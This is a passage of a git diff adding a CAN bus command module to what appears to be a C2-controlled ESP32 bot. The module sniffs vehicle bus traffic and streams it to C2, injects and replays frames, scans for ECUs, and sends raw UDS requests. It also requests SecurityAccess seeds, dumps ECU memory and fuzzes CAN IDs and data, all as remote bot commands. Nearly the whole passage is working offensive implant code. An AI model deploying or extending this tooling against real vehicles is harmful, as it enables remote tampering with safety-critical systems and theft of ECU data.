+int uds_security_access_key(uds_ctx_t *ctx, uint8_t level, + const uint8_t *key, size_t key_len); + +/* ReadMemoryByAddress (0x23) — returns data length or -1 */ +int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size, + uint8_t *out); + +/* Raw UDS request — returns response length or -1 */ +int uds_raw_request(uds_ctx_t *ctx, + const uint8_t *req, size_t req_len, + uint8_t *resp, size_t resp_cap, size_t *resp_len); + +/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */ +int uds_scan_ecus(uint32_t *found_ids, int max_ecus); + +/* Get human-readable NRC name */ +const char *uds_nrc_name(uint8_t nrc); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_canbus/cmd_canbus.c b/espilon_bot/components/mod_canbus/cmd_canbus.c new file mode 100644 index 0000000..f0c3630 --- /dev/null +++ b/espilon_bot/components/mod_canbus/cmd_canbus.c @@ -0,0 +1,1363 @@ +/* + * cmd_canbus.c + * CAN bus module — Full command set: sniff, inject, UDS, OBD-II, fuzzing, replay. + * + * Frame format streamed to C2: "CAN||||" + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_CANBUS + +#include +#include +#include +#include + +#include "esp_log.h" +#include "esp_timer.h" + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/semphr.h" + +#include "utils.h" +#include "canbus_driver.h" +#include "canbus_config.h" + +#ifdef CONFIG_CANBUS_UDS +#include "canbus_uds.h" +#endif + +#ifdef CONFIG_CANBUS_OBD +#include "canbus_obd.h" +#endif + +#ifdef CONFIG_CANBUS_FUZZ +#include "canbus_fuzz.h" +#endif + +#ifdef CONFIG_CANBUS_ISO_TP +#include "canbus_isotp.h" +#endif + +#define TAG "CAN_CMD" + +/* ============================================================ + * Ring Buffer for recording + * ============================================================ */ +#define RECORD_MAX CONFIG_CANBUS_RECORD_BUFFER + +static can_frame_t s_record_buf[RECORD_MAX]; +static int s_record_head = 0; +static int s_record_count = 0; +static SemaphoreHandle_t s_record_mutex = NULL; + +/* ============================================================ + * Sniff / Record state + * ============================================================ */ +static volatile bool s_sniff_active = false; +static volatile bool s_record_active = false; +static const char *s_sniff_req_id = NULL; /* Request ID for streaming */ + +/* Software filters (loaded from NVS at init) */ +static uint32_t s_sw_filters[CAN_CFG_MAX_SW_FILTERS]; +static int s_sw_filter_count = 0; + +/* ============================================================ + * Helpers + * ============================================================ */ + +/* Check if a frame passes software filters (empty = accept all) */ +static bool frame_passes_filter(const can_frame_t *frame) +{ + if (s_sw_filter_count == 0) return true; + for (int i = 0; i < s_sw_filter_count; i++) { + if (s_sw_filters[i] == frame->id) return true; + } + return false; +} + +/* Format a CAN frame for C2 transmission */ +static int format_frame(const can_frame_t *frame, char *buf, size_t buf_len) +{ + int64_t ts_ms = frame->timestamp_us / 1000; + + int off = snprintf(buf, buf_len, "CAN|%" PRId64 "|%03lX|%u|", + ts_ms, + (unsigned long)frame->id, + frame->dlc); + + for (int i = 0; i < frame->dlc && off < (int)buf_len - 2; i++) { + off += snprintf(buf + off, buf_len - off, "%02X", frame->data[i]); + } + + return off; +} + +/* Reload software filters from NVS */ +static void reload_sw_filters(void) +{ + s_sw_filter_count = can_config_get_filters( + s_sw_filters, CAN_CFG_MAX_SW_FILTERS + ); +} + +/* ============================================================ + * RX Callback — called from driver RX task + * ============================================================ */ + +static void can_rx_callback(const can_frame_t *frame, void *ctx) +{ + (void)ctx; + + if (!frame_passes_filter(frame)) return; + + /* Sniff mode: stream to C2 */ + if (s_sniff_active) { + char line[80]; + format_frame(frame, line, sizeof(line)); + msg_data(TAG, line, strlen(line), false, s_sniff_req_id); + } + + /* Record mode: store in ring buffer */ + if (s_record_active && s_record_mutex) { + xSemaphoreTake(s_record_mutex, portMAX_DELAY); + s_record_buf[s_record_head] = *frame; + s_record_head = (s_record_head + 1) % RECORD_MAX; + if (s_record_count < RECORD_MAX) s_record_count++; + xSemaphoreGive(s_record_mutex); + } +} + +/* ============================================================ + * COMMAND: can_start [bitrate] [mode] + * ============================================================ */ + +static int cmd_can_start(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + int bitrate = can_config_get_bitrate(); + uint8_t osc = can_config_get_osc_mhz(); + can_mode_t mode = CAN_MODE_NORMAL; + + if (argc >= 1) { + bitrate = atoi(argv[0]); + } + if (argc >= 2) { + if (strcmp(argv[1], "listen") == 0) { + mode = CAN_MODE_LISTEN_ONLY; + } else if (strcmp(argv[1], "loopback") == 0) { + mode = CAN_MODE_LOOPBACK; + } + } + + if (can_driver_is_running()) { + msg_error(TAG, "CAN already running — stop first", req); + return -1; + } + + if (!can_driver_init(bitrate, osc)) { + msg_error(TAG, "MCP2515 init failed — check SPI wiring", req); + return -1; + } + + can_driver_set_rx_callback(can_rx_callback, NULL); + +#ifdef CONFIG_CANBUS_ISO_TP + isotp_install_hook(); +#endif + + if (!can_driver_start(mode)) { + msg_error(TAG, "CAN start failed", req); + can_driver_deinit(); + return -1; + } + + char resp[128]; + const char *mode_str = (mode == CAN_MODE_LISTEN_ONLY) ? "listen-only" + : (mode == CAN_MODE_LOOPBACK) ? "loopback" + : "normal"; + snprintf(resp, sizeof(resp), "CAN started: %d bps, %s mode, osc=%u MHz", + bitrate, mode_str, osc); + msg_info(TAG, resp, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_stop + * ============================================================ */ + +static int cmd_can_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + s_sniff_active = false; + s_record_active = false; + + can_driver_stop(); + can_driver_deinit(); + + msg_info(TAG, "CAN stopped", req); + return 0; +} + +/* ============================================================ + * COMMAND: can_send + * ============================================================ */ + +static int cmd_can_send(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + can_frame_t frame = { 0 }; + + /* Parse ID */ + frame.id = strtoul(argv[0], NULL, 16); + frame.extended = (frame.id > 0x7FF); + + /* Parse hex data */ + const char *hex = argv[1]; + size_t hex_len = strlen(hex); + frame.dlc = hex_len / 2; + if (frame.dlc > 8) frame.dlc = 8; + + for (int i = 0; i < frame.dlc; i++) { + char byte_str[3] = { hex[i * 2], hex[i * 2 + 1], '\0' }; + frame.data[i] = (uint8_t)strtoul(byte_str, NULL, 16); + } + + if (!can_driver_send(&frame)) { + msg_error(TAG, "TX failed", req); + return -1; + } + + char resp[64]; + snprintf(resp, sizeof(resp), "TX: 0x%03lX [%u] %s", + (unsigned long)frame.id, frame.dlc, argv[1]); + msg_info(TAG, resp, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_filter_add — software filter + * ============================================================ */ + +static int cmd_can_filter_add(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + uint32_t id = strtoul(argv[0], NULL, 16); + esp_err_t err = can_config_add_filter(id); + if (err != ESP_OK) { + msg_error(TAG, "Filter add failed (max reached?)", req); + return -1; + } + reload_sw_filters(); + + char resp[64]; + snprintf(resp, sizeof(resp), "Filter added: 0x%03lX (%d total)", + (unsigned long)id, s_sw_filter_count); + msg_info(TAG, resp, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_filter_del + * ============================================================ */ + +static int cmd_can_filter_del(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + uint32_t id = strtoul(argv[0], NULL, 16); + esp_err_t err = can_config_del_filter(id); + if (err != ESP_OK) { + msg_error(TAG, "Filter not found", req); + return -1; + } + reload_sw_filters(); + + char resp[64]; + snprintf(resp, sizeof(resp), "Filter removed: 0x%03lX (%d remaining)", + (unsigned long)id, s_sw_filter_count); + msg_info(TAG, resp, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_filter_list + * ============================================================ */ + +static int cmd_can_filter_list(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (s_sw_filter_count == 0) { + msg_info(TAG, "No software filters (accepting all frames)", req); + return 0; + } + + char buf[256]; + int off = snprintf(buf, sizeof(buf), "Filters (%d): ", s_sw_filter_count); + for (int i = 0; i < s_sw_filter_count && off < (int)sizeof(buf) - 8; i++) { + off += snprintf(buf + off, sizeof(buf) - off, "0x%03lX ", + (unsigned long)s_sw_filters[i]); + } + msg_info(TAG, buf, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_filter_clear + * ============================================================ */ + +static int cmd_can_filter_clear(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + can_config_clear_filters(); + reload_sw_filters(); + msg_info(TAG, "All filters cleared (accepting all frames)", req); + return 0; +} + +/* ============================================================ + * COMMAND: can_status + * ============================================================ */ + +static int cmd_can_status(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + can_status_t st; + can_driver_get_status(&st); + + char buf[384]; + int off = snprintf(buf, sizeof(buf), + "state=%s rx=%"PRIu32" tx=%"PRIu32" " + "tec=%"PRIu32" rec=%"PRIu32" bus_err=%"PRIu32" " + "overflow=%"PRIu32" sniff=%s record=%s (%d/%d)", + st.state, st.rx_count, st.tx_count, + st.tx_errors, st.rx_errors, st.bus_errors, + st.rx_overflow, + s_sniff_active ? "on" : "off", + s_record_active ? "on" : "off", + s_record_count, RECORD_MAX); + + /* Append NVS config */ + off += snprintf(buf + off, sizeof(buf) - off, "\n"); + can_config_list(buf + off, sizeof(buf) - off); + + msg_info(TAG, buf, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_sniff [duration_s] — async, streams frames to C2 + * ============================================================ */ + +static int cmd_can_sniff(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + int duration = 10; /* default 10 seconds */ + if (argc >= 1) { + duration = atoi(argv[0]); + if (duration <= 0 || duration > 3600) duration = 10; + } + + s_sniff_req_id = req; + s_sniff_active = true; + + char start_msg[64]; + snprintf(start_msg, sizeof(start_msg), "Sniffing for %d seconds...", duration); + msg_info(TAG, start_msg, req); + + vTaskDelay(pdMS_TO_TICKS(duration * 1000)); + + s_sniff_active = false; + s_sniff_req_id = NULL; + + msg_data(TAG, "SNIFF_END", 9, true, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_record [duration_s] — async, stores in ring buffer + * ============================================================ */ + +static int cmd_can_record(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + int duration = 10; + if (argc >= 1) { + duration = atoi(argv[0]); + if (duration <= 0 || duration > 3600) duration = 10; + } + + /* Reset buffer */ + if (s_record_mutex) xSemaphoreTake(s_record_mutex, portMAX_DELAY); + s_record_head = 0; + s_record_count = 0; + if (s_record_mutex) xSemaphoreGive(s_record_mutex); + + s_record_active = true; + + char start_msg[64]; + snprintf(start_msg, sizeof(start_msg), "Recording for %d seconds...", duration); + msg_info(TAG, start_msg, req); + + vTaskDelay(pdMS_TO_TICKS(duration * 1000)); + + s_record_active = false; + + char end_msg[64]; + snprintf(end_msg, sizeof(end_msg), "Recording complete: %d frames captured", s_record_count); + msg_info(TAG, end_msg, req); + + return 0; +} + +/* ============================================================ + * COMMAND: can_dump — async, sends recorded buffer to C2 + * ============================================================ */ + +static int cmd_can_dump(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (s_record_count == 0) { + msg_info(TAG, "No recorded frames", req); + return 0; + } + + if (s_record_mutex) xSemaphoreTake(s_record_mutex, portMAX_DELAY); + + int count = s_record_count; + /* Calculate start index for ring buffer */ + int start = (count >= RECORD_MAX) + ? s_record_head + : 0; + + char header[64]; + snprintf(header, sizeof(header), "DUMP_START|%d", count); + msg_data(TAG, header, strlen(header), false, req); + + char line[80]; + for (int i = 0; i < count; i++) { + int idx = (start + i) % RECORD_MAX; + format_frame(&s_record_buf[idx], line, sizeof(line)); + msg_data(TAG, line, strlen(line), false, req); + + /* Yield every 32 frames to avoid watchdog */ + if ((i & 0x1F) == 0x1F) { + vTaskDelay(pdMS_TO_TICKS(1)); + } + } + + if (s_record_mutex) xSemaphoreGive(s_record_mutex); + + msg_data(TAG, "DUMP_END", 8, true, req); + return 0; +} + +/* ============================================================ + * COMMAND: can_replay [speed_pct] — async, replays recorded buffer + * ============================================================ */ + +static int cmd_can_replay(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + if (s_record_count == 0) { + msg_info(TAG, "No recorded frames to replay", req); + return 0; + } + + int speed = 100; + if (argc >= 1) { + speed = atoi(argv[0]); + if (speed < 0) speed = 0; + if (speed > 1000) speed = 1000; + } + + char start_msg[64]; + snprintf(start_msg, sizeof(start_msg), "Replaying %d frames at %d%% speed", + s_record_count, speed); + msg_info(TAG, start_msg, req); + + /* Build ordered frame array from ring buffer */ + int count = s_record_count; + int start = (count >= RECORD_MAX) ? s_record_head : 0; + + /* Replay directly from the ring buffer (read-only during replay) */ + can_frame_t *ordered = malloc(count * sizeof(can_frame_t)); + if (!ordered) { + msg_error(TAG, "Out of memory for replay", req); + return -1; + } + + if (s_record_mutex) xSemaphoreTake(s_record_mutex, portMAX_DELAY); + for (int i = 0; i < count; i++) { + ordered[i] = s_record_buf[(start + i) % RECORD_MAX]; + } + if (s_record_mutex) xSemaphoreGive(s_record_mutex); + + can_driver_replay(ordered, count, speed); + free(ordered); + + msg_info(TAG, "Replay complete", req); + return 0; +} + +/* ============================================================ + * COMMANDS: UDS (Phase 3) — guarded by CONFIG_CANBUS_UDS + * ============================================================ */ + +#ifdef CONFIG_CANBUS_UDS + +/* can_scan_ecu — discover ECUs on the bus */ +static int cmd_can_scan_ecu(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + msg_info(TAG, "Scanning for ECUs...", req); + + uint32_t found[32]; + int count = uds_scan_ecus(found, 32); + + if (count == 0) { + msg_info(TAG, "No ECUs found", req); + return 0; + } + + char buf[256]; + int off = snprintf(buf, sizeof(buf), "Found %d ECU(s): ", count); + for (int i = 0; i < count && off < (int)sizeof(buf) - 12; i++) { + off += snprintf(buf + off, sizeof(buf) - off, "0x%03lX ", + (unsigned long)found[i]); + can_config_add_ecu(found[i]); + } + msg_info(TAG, buf, req); + return 0; +} + +/* can_uds [data_hex] — raw UDS request */ +static int cmd_can_uds(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + uint32_t tx_id = strtoul(argv[0], NULL, 16); + uint32_t rx_id = tx_id + 0x08; + + /* Parse service + optional data as hex */ + const char *hex = argv[1]; + size_t hex_len = strlen(hex); + uint8_t uds_req[64]; + size_t uds_len = hex_len / 2; + if (uds_len > sizeof(uds_req)) uds_len = sizeof(uds_req); + + for (size_t i = 0; i < uds_len; i++) { + char b[3] = { hex[i * 2], hex[i * 2 + 1], '\0' }; + uds_req[i] = (uint8_t)strtoul(b, NULL, 16); + } + + /* Append extra data arg if present */ + if (argc >= 3) { + const char *data_hex = argv[2]; + size_t dlen = strlen(data_hex) / 2; + for (size_t i = 0; i < dlen && uds_len < sizeof(uds_req); i++) { + char b[3] = { data_hex[i * 2], data_hex[i * 2 + 1], '\0' }; + uds_req[uds_len++] = (uint8_t)strtoul(b, NULL, 16); + } + } + + uds_ctx_t uctx = { + .tx_id = tx_id, .rx_id = rx_id, + .timeout_ms = 2000, + .session = UDS_SESSION_DEFAULT, + }; + + uint8_t resp[512]; + size_t resp_len = 0; + int ret = uds_raw_request(&uctx, uds_req, uds_len, resp, sizeof(resp), &resp_len); + + if (ret < 0) { + msg_error(TAG, "UDS request failed or negative response", req); + return -1; + } + + /* Format response as hex */ + char out[256]; + int off = snprintf(out, sizeof(out), "UDS_RSP|0x%03lX|", (unsigned long)rx_id); + for (size_t i = 0; i < resp_len && off < (int)sizeof(out) - 2; i++) { + off += snprintf(out + off, sizeof(out) - off, "%02X", resp[i]); + } + msg_data(TAG, out, strlen(out), true, req); + return 0; +} + +/* can_uds_session */ +static int cmd_can_uds_session(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + uint32_t tx_id = strtoul(argv[0], NULL, 16); + uint8_t session = (uint8_t)strtoul(argv[1], NULL, 16); + + uds_ctx_t uctx = { + .tx_id = tx_id, .rx_id = tx_id + 0x08, + .timeout_ms = 2000, + }; + + if (uds_diagnostic_session(&uctx, session) == 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "Session 0x%02X active on 0x%03lX", + session, (unsigned long)tx_id); + msg_info(TAG, buf, req); + return 0; + } + msg_error(TAG, "DiagnosticSessionControl failed", req); + return -1; +} + +/* can_uds_read */ +static int cmd_can_uds_read(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + uint32_t tx_id = strtoul(argv[0], NULL, 16); + uint16_t did = (uint16_t)strtoul(argv[1], NULL, 16); + + uds_ctx_t uctx = { + .tx_id = tx_id, .rx_id = tx_id + 0x08, + .timeout_ms = 2000, + }; + + uint8_t data[256]; + int len = uds_read_data_by_id(&uctx, did, data, sizeof(data)); + + if (len < 0) { + msg_error(TAG, "ReadDataByIdentifier failed", req); + return -1; + } + + char out[256]; + int off = snprintf(out, sizeof(out), "DID_%04X|", did); + for (int i = 0; i < len && off < (int)sizeof(out) - 2; i++) { + off += snprintf(out + off, sizeof(out) - off, "%02X", data[i]); + } + msg_data(TAG, out, strlen(out), true, req); + return 0; +} + +/* can_uds_dump — read memory */ +static int cmd_can_uds_dump(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + uint32_t tx_id = strtoul(argv[0], NULL, 16); + uint32_t addr = strtoul(argv[1], NULL, 16); + uint16_t size = (uint16_t)atoi(argv[2]); + + if (size == 0 || size > 4096) { + msg_error(TAG, "Size must be 1-4096", req); + return -1; + } + + uds_ctx_t uctx = { + .tx_id = tx_id, .rx_id = tx_id + 0x08, + .timeout_ms = 3000, + }; + + /* Read in chunks of 256 bytes */ + char header[48]; + snprintf(header, sizeof(header), "MEM_DUMP|0x%08lX|%u", (unsigned long)addr, size); + msg_data(TAG, header, strlen(header), false, req); + + uint32_t off = 0; + while (off < size) { + uint16_t chunk = (size - off > 256) ? 256 : (uint16_t)(size - off); + uint8_t data[256]; + + int len = uds_read_memory(&uctx, addr + off, chunk, data); + if (len < 0) { + char err_msg[48]; + snprintf(err_msg, sizeof(err_msg), "ReadMemory failed at 0x%08lX", + (unsigned long)(addr + off)); + msg_error(TAG, err_msg, req); + return -1; + } + + /* Send chunk as hex */ + char line[600]; + int loff = snprintf(line, sizeof(line), "MEM|%08lX|", + (unsigned long)(addr + off)); + for (int i = 0; i < len && loff < (int)sizeof(line) - 2; i++) { + loff += snprintf(line + loff, sizeof(line) - loff, "%02X", data[i]); + } + msg_data(TAG, line, strlen(line), false, req); + + off += len; + vTaskDelay(pdMS_TO_TICKS(10)); + } + + msg_data(TAG, "MEM_DUMP_END", 12, true, req); + return 0; +} + +/* can_uds_auth [level] — SecurityAccess seed request */ +static int cmd_can_uds_auth(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + uint32_t tx_id = strtoul(argv[0], NULL, 16); + uint8_t level = (argc >= 2) ? (uint8_t)strtoul(argv[1], NULL, 16) : 0x01; + + uds_ctx_t uctx = { + .tx_id = tx_id, .rx_id = tx_id + 0x08, + .timeout_ms = 2000, + }; + + uint8_t seed[32]; + size_t seed_len = 0; + + if (uds_security_access_seed(&uctx, level, seed, &seed_len) < 0) { + msg_error(TAG, "SecurityAccess seed request failed", req); + return -1; + } + + char out[96]; + int off = snprintf(out, sizeof(out), "SA_SEED|L%02X|", level); + for (size_t i = 0; i < seed_len && off < (int)sizeof(out) - 2; i++) { + off += snprintf(out + off, sizeof(out) - off, "%02X", seed[i]); + } + msg_data(TAG, out, strlen(out), true, req); + return 0; +} + +#endif /* CONFIG_CANBUS_UDS */ + +/* ============================================================ + * COMMANDS: OBD-II (Phase 4) — guarded by CONFIG_CANBUS_OBD + * ============================================================ */ + +#ifdef CONFIG_CANBUS_OBD + +/* can_obd — query a single OBD-II PID */ +static int cmd_can_obd(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + uint8_t pid = (uint8_t)strtoul(argv[0], NULL, 16); + obd_result_t result; + + if (obd_query_pid(0x01, pid, &result) < 0) { + msg_error(TAG, "OBD query failed", req); + return -1; + } + + char out[96]; + snprintf(out, sizeof(out), "OBD|%s|%.1f|%s", + result.name, result.value, result.unit); + msg_data(TAG, out, strlen(out), true, req); + return 0; +} + +/* can_obd_vin — read VIN */ +static int cmd_can_obd_vin(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + char vin[20] = { 0 }; + if (obd_read_vin(vin, sizeof(vin)) < 0) { + msg_error(TAG, "VIN read failed", req); + return -1; + } + + char out[48]; + snprintf(out, sizeof(out), "VIN|%s", vin); + msg_data(TAG, out, strlen(out), true, req); + return 0; +} + +/* can_obd_dtc — read diagnostic trouble codes */ +static int cmd_can_obd_dtc(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + char dtc_buf[256]; + obd_read_dtcs(dtc_buf, sizeof(dtc_buf)); + msg_data(TAG, dtc_buf, strlen(dtc_buf), true, req); + return 0; +} + +/* can_obd_supported — list supported PIDs */ +static int cmd_can_obd_supported(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + uint8_t pids[128]; + int count = obd_query_supported(pids, 128); + + if (count <= 0) { + msg_info(TAG, "No supported PIDs found", req); + return 0; + } + + char buf[512]; + int off = snprintf(buf, sizeof(buf), "Supported PIDs (%d): ", count); + for (int i = 0; i < count && off < (int)sizeof(buf) - 6; i++) { + off += snprintf(buf + off, sizeof(buf) - off, "%02X ", pids[i]); + } + msg_data(TAG, buf, strlen(buf), true, req); + return 0; +} + +/* can_obd_monitor [interval_ms] — continuous monitoring */ +static int cmd_can_obd_monitor(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + /* Parse comma-separated PID list */ + uint8_t pids[16]; + int pid_count = 0; + + char pid_arg[64]; + strncpy(pid_arg, argv[0], sizeof(pid_arg) - 1); + pid_arg[sizeof(pid_arg) - 1] = '\0'; + + char *saveptr = NULL; + char *token = strtok_r(pid_arg, ",", &saveptr); + while (token && pid_count < 16) { + pids[pid_count++] = (uint8_t)strtoul(token, NULL, 16); + token = strtok_r(NULL, ",", &saveptr); + } + + int interval = (argc >= 2) ? atoi(argv[1]) : 1000; + if (interval < 100) interval = 100; + + obd_monitor_start(pids, pid_count, interval, req); + + char start_msg[64]; + snprintf(start_msg, sizeof(start_msg), "OBD monitor: %d PIDs, %d ms interval", + pid_count, interval); + msg_info(TAG, start_msg, req); + + /* Block until monitor stops (or we could let it run indefinitely) */ + while (obd_monitor_is_running()) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + + return 0; +} + +/* can_obd_monitor_stop — stop continuous monitoring */ +static int cmd_can_obd_monitor_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + obd_monitor_stop(); + msg_info(TAG, "OBD monitor stopped", req); + return 0; +} + +#endif /* CONFIG_CANBUS_OBD */ + +/* ============================================================ + * COMMANDS: Fuzzing (Phase 5) — guarded by CONFIG_CANBUS_FUZZ + * ============================================================ */ + +#ifdef CONFIG_CANBUS_FUZZ + +/* can_fuzz_id [start_hex] [end_hex] [delay_ms] */ +static int cmd_can_fuzz_id(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + fuzz_config_t cfg = { + .mode = FUZZ_MODE_ID_SCAN, + .id_start = (argc >= 1) ? strtoul(argv[0], NULL, 16) : 0x000, + .id_end = (argc >= 2) ? strtoul(argv[1], NULL, 16) : 0x7FF, + .delay_ms = (argc >= 3) ? atoi(argv[2]) : 5, + .seed_dlc = 8, + }; + memset(cfg.seed_data, 0x00, 8); + + if (!can_fuzz_start(&cfg, req)) { + msg_error(TAG, "Failed to start ID fuzz", req); + return -1; + } + + msg_info(TAG, "ID scan fuzz started", req); + while (can_fuzz_is_running()) { + vTaskDelay(pdMS_TO_TICKS(500)); + } + return 0; +} + +/* can_fuzz_data [seed_hex] [delay_ms] */ +static int cmd_can_fuzz_data(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + fuzz_config_t cfg = { + .mode = FUZZ_MODE_DATA_MUTATE, + .target_id = strtoul(argv[0], NULL, 16), + .delay_ms = (argc >= 3) ? atoi(argv[2]) : 2, + .seed_dlc = 8, + }; + memset(cfg.seed_data, 0x00, 8); + + if (argc >= 2) { + const char *hex = argv[1]; + size_t hlen = strlen(hex); + cfg.seed_dlc = hlen / 2; + if (cfg.seed_dlc > 8) cfg.seed_dlc = 8; + for (int i = 0; i < cfg.seed_dlc; i++) { + char b[3] = { hex[i * 2], hex[i * 2 + 1], '\0' }; + cfg.seed_data[i] = (uint8_t)strtoul(b, NULL, 16); + } + } + + if (!can_fuzz_start(&cfg, req)) { + msg_error(TAG, "Failed to start data fuzz", req); + return -1; + } + + msg_info(TAG, "Data mutation fuzz started", req); + while (can_fuzz_is_running()) { + vTaskDelay(pdMS_TO_TICKS(500)); + } + return 0; +} + +/* can_fuzz_random [delay_ms] [count] */ +static int cmd_can_fuzz_random(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (!can_driver_is_running()) { + msg_error(TAG, "CAN not running", req); + return -1; + } + + fuzz_config_t cfg = { + .mode = FUZZ_MODE_RANDOM, + .delay_ms = (argc >= 1) ? atoi(argv[0]) : 5, + .max_iterations = (argc >= 2) ? atoi(argv[1]) : 10000, + }; + + if (!can_fuzz_start(&cfg, req)) { + msg_error(TAG, "Failed to start random fuzz", req); + return -1; + } + + msg_info(TAG, "Random fuzz started", req); + while (can_fuzz_is_running()) { + vTaskDelay(pdMS_TO_TICKS(500)); + } + return 0; +} + +/* can_fuzz_stop */ +static int cmd_can_fuzz_stop_cmd(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + can_fuzz_stop(); + msg_info(TAG, "Fuzzing stopped", req); + return 0; +} + +#endif /* CONFIG_CANBUS_FUZZ */ + +/* ============================================================ + * Command Table + * ============================================================ */ + +static const command_t can_cmds[] = { + { + .name = "can_start", + .sub = NULL, + .help = "Init MCP2515 + start CAN: [bitrate] [normal|listen|loopback]", + .min_args = 0, + .max_args = 2, + .handler = (command_handler_t)cmd_can_start, + .ctx = NULL, + .async = false, + }, + { + .name = "can_stop", + .sub = NULL, + .help = "Stop CAN bus + deinit MCP2515", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_stop, + .ctx = NULL, + .async = false, + }, + { + .name = "can_send", + .sub = NULL, + .help = "Send CAN frame: ", + .min_args = 2, + .max_args = 2, + .handler = (command_handler_t)cmd_can_send, + .ctx = NULL, + .async = false, + }, + { + .name = "can_filter_add", + .sub = NULL, + .help = "Add software filter: ", + .min_args = 1, + .max_args = 1, + .handler = (command_handler_t)cmd_can_filter_add, + .ctx = NULL, + .async = false, + }, + { + .name = "can_filter_del", + .sub = NULL, + .help = "Remove software filter: ", + .min_args = 1, + .max_args = 1, + .handler = (command_handler_t)cmd_can_filter_del, + .ctx = NULL, + .async = false, + }, + { + .name = "can_filter_list", + .sub = NULL, + .help = "List active software filters", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_filter_list, + .ctx = NULL, + .async = false, + }, + { + .name = "can_filter_clear", + .sub = NULL, + .help = "Clear all software filters (accept all)", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_filter_clear, + .ctx = NULL, + .async = false, + }, + { + .name = "can_status", + .sub = NULL, + .help = "CAN bus status + config", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_status, + .ctx = NULL, + .async = false, + }, + { + .name = "can_sniff", + .sub = NULL, + .help = "Stream CAN frames to C2: [duration_s]", + .min_args = 0, + .max_args = 1, + .handler = (command_handler_t)cmd_can_sniff, + .ctx = NULL, + .async = true, + }, + { + .name = "can_record", + .sub = NULL, + .help = "Record CAN frames locally: [duration_s]", + .min_args = 0, + .max_args = 1, + .handler = (command_handler_t)cmd_can_record, + .ctx = NULL, + .async = true, + }, + { + .name = "can_dump", + .sub = NULL, + .help = "Send recorded CAN frames to C2", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_dump, + .ctx = NULL, + .async = true, + }, + { + .name = "can_replay", + .sub = NULL, + .help = "Replay recorded frames on bus: [speed_pct]", + .min_args = 0, + .max_args = 1, + .handler = (command_handler_t)cmd_can_replay, + .ctx = NULL, + .async = true, + }, + + /* --- UDS commands (Phase 3) --- */ +#ifdef CONFIG_CANBUS_UDS + { + .name = "can_scan_ecu", + .sub = NULL, + .help = "Scan for UDS ECUs (0x7E0-0x7EF + 0x700-0x7DF)", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_can_scan_ecu, + .ctx = 